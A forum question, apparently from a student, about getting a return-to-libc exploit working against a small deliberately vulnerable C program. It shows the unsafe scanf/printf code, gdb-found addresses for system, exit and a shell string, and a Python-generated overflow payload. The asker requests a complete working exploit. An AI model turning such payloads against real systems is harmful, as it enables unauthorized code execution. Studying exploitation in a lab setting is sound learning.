I am trying to implement return-to-libc attack on the below code using format string attack vector.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
I have figured out the address of the system() using p system
command in gdb
. And by inspection of the stack frame using x/500s $esp
, I figured the environment variable's address which contains \bin\sh
.
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
With these things in place, I constructed the below format string:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
where 0xffffcdbc - 0x4
is the local address which contains system address 0xf7e2cda0
value.
I compiled the program using gcc -m32 -fno-stack-protector -o sh sh.c
and ran it using gdb sh
. Upon execution, on entering r<inp
, I get the below output
As seen above, there's some error command which is shown and I get to the shell only after running r
command again. Could someone explain what am I missing here so that I get to the shell directly?
Also, when I tried to execute the program above without gdb ( by ./sh < inp
) by offsetting the gdb address, I get a segmentation fault error. I am assuming this can be solved once the above fix gets corrected.
Kindly answer by giving a complete working exploit - most of the tutorials online use argv[1]
in explaining the similar problem but I wish to get the exploit working without the use of arguments.
Thanks!